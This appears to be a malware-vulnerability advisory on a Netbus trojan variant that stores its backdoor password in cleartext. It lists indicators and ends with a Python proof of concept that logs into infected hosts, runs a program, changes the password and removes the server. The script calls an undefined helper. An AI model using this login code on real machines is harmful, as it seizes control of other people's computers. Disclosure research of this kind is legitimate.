classic Netbus Remote Access Backdoor.Win32.Netbus.170 (MVID-2025-0703) is a variant of the
classic Netbus Remote Access Trojan (RAT) targeting Windows systems.
Its significant vulnerability, identified as MVID-2025-0703, is
"Insecure Credential Storage."
This means the malware stores its own authentication credentials?
such as passwords required for remote access to infected machines?
in an easily accessible or unencrypted format within its configuration.
Consequently, these stored credentials can be readily extracted
by other malicious actors or security researchers.
This critical flaw allows unauthorized third parties to potentially
gain control over systems already compromised by this Netbus variant,
effectively hijacking the original attacker's access.
It leaves victim machines vulnerable to further, unintended exploitation.
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2025
Original source: https://malvuln.com/advisory/086f0693f81f6d40460c215717349a1f.txt
Malvuln Intelligence Feed: https://intel.malvuln.com/
Contact:
Media: x.com/malvuln
Threat: Backdoor.Win32.Netbus.170
Vulnerability: Insecure Credential Storage
Family: Netbus
Type: PE32
Attack-pattern TTP: Unsecured Credentials (T1552)
MD5: 086f0693f81f6d40460c215717349a1f
SHA256: bba330e82434d3bcf41e18d7d15df8117883e761aa50858028833a7da84b271c
Vuln ID: MVID-2025-0703
Dropped files: C:\Windows\KeyHook.dll
Disclosure: 12/23/2025
Description: The malware listens on TCP ports 12632 and 12631. The backdoor server password "ecoli" is stored in cleartext in an .INI textfile, stored under "C:\Windows" having the same name as the malware. Third party attackers who have knowledge of the password can login and issue various commands separated by semicolon. Commands include program execution, change the backdoor password and malware removal using command "RemoveServer;1".
[Settings]
Port1=12631
ServerPwd=ecoli
LogTraffic=0
MailTo=
MailFrom=
MailHost=
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=12631
def main():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="Password;0;ecoli\r\n"
s.send(PAYLOAD.encode())
#Run a program or app:
s.send("StartApp;calc\r\n".encode())
#Change backdoor password
s.send("ServerPwd;malvuln;\r\n".encode())
print(chk_res(s))
#Remove backdoor use command ; 1
s.send("RemoveServer;1\r\n".encode())
s.close()
if __name__ == "__main__":
main()
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